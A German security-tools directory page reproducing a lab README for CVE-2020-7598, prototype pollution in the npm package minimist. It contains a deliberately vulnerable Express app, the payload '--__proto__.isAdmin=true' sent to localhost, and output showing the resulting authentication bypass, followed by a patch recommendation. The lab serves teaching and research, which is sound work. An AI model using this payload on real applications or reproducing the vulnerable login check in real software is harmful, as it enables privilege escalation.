Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-7598 — Bildungslabor, das CVE-2020-7598 Prototype Pollution in minimist mit einer angreifbaren Node.js/Express-App, einem Exploit-Payload und einer exemplarischen Umgehung der Authentifizierung für die Sicherheitsforschung demonstriert. | Kitploit
Tools/GitHubGitHub/renewablehacking/cve-2020-7598
Statische AnalyseSchwachstellenanalyseCode-AnalyseWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Bildungslabor, das CVE-2020-7598 Prototype Pollution in minimist mit einer angreifbaren Node.js/Express-App, einem Exploit-Payload und einer exemplarischen Umgehung der Authentifizierung für die Sicherheitsforschung demonstriert.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE-2020-7598 - Prototype Pollution in minimist

Disclaimer

Dieses Projekt wurde nur erstellt für:

  • Lernen,
  • Sicherheitsforschung,
  • und private lokale Labore.

Nicht ohne Erlaubnis gegen Systeme verwenden.


Über CVE

CVE-2020-7598 ist eine Prototype-Pollution-Schwachstelle im npm-Paket:

  • minimist
  • verwundbare Versionen:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Diese Schwachstelle ermöglicht es einem Angreifer, Folgendes zu modifizieren:

root@kitploit:~
Object.prototype

mit einem Payload wie:

root@kitploit:~
--__proto__.isAdmin=true

Die Folge:

  • Alle JavaScript-Objekte können schädliche Eigenschaften erben,
  • Authentifizierungsumgehung,
  • Rechteausweitung,
  • bis hin zu einer Kette, die unter bestimmten Bedingungen zu RCE führt.

Funktionsweise von Prototype Pollution

In JavaScript:

root@kitploit:~
const user = {};

Ein leeres Objekt erbt dennoch Eigenschaften von:

root@kitploit:~
Object.prototype

Wenn ein Angreifer Folgendes erfolgreich ausführt:

root@kitploit:~
Object.prototype.isAdmin = true;

dann:

root@kitploit:~
({}).isAdmin

wird ergeben:

root@kitploit:~
true

für alle normalen Objekte.


Laborumgebung

Abhängigkeiten

  • Node.js
  • Express
  • [email protected]

Installation

1. Repository klonen

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Abhängigkeiten installieren

root@kitploit:~
npm install

ODER manuell:

root@kitploit:~
npm install express [email protected]

Quellcode

Erstelle Datei:

root@kitploit:~
app.js

Inhalt:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Server starten

root@kitploit:~
node app.js

Ausgabe:

root@kitploit:~
Server running on port 3000

Normaler Test

Normaler Login

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Ausgabe:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Exploit CVE-2020-7598

Payload für Prototype Pollution

Öffne Browser:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

ODER verwende curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Ergebnis des Exploits

Server-Terminal:

root@kitploit:~
GLOBAL isAdmin: true

Das bedeutet:

root@kitploit:~
Object.prototype.isAdmin = true

wurde erfolgreich modifiziert.


Login nach dem Exploit

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Ausgabe:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

Dabei:

  • Die Datenbank hat sich nicht geändert,
  • Der Quellcode hat sich nicht geändert,
  • Der Benutzer hat keine Eigenschaft isAdmin.

Warum kann man ADMIN werden?

Der folgende Code:

root@kitploit:~
if(user.isAdmin)

prüft nicht nur die direkte Eigenschaft des Objekts.

JavaScript sucht:

  1. Eigenschaft des Objekts,
  2. dann die Prototyp-Kette.

Da der Angreifer erfolgreich modifiziert hat:

root@kitploit:~
Object.prototype.isAdmin = true

erben alle normalen Objekte diese Eigenschaft.


Nachweis der Prototype Pollution

Server-Log:

root@kitploit:~
Own property: false
user.isAdmin: true

Das bedeutet:

  • isAdmin ist keine eigene Eigenschaft des Benutzers,
  • sondern wird vom globalen Prototyp geerbt.

Patch

Sichere Version von minimist:

root@kitploit:~
npm install minimist@latest

Die gepatchte Version blockiert:

  • __proto__
  • constructor
  • prototype

sodass Prototype Pollution nicht mehr gelingt.


Referenzen

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

Author

Labor und Dokumentation wurden für Lernzwecke zur Sicherheit von Node.js-Anwendungen und zur Erforschung von Prototype Pollution erstellt.

Tool herunterladen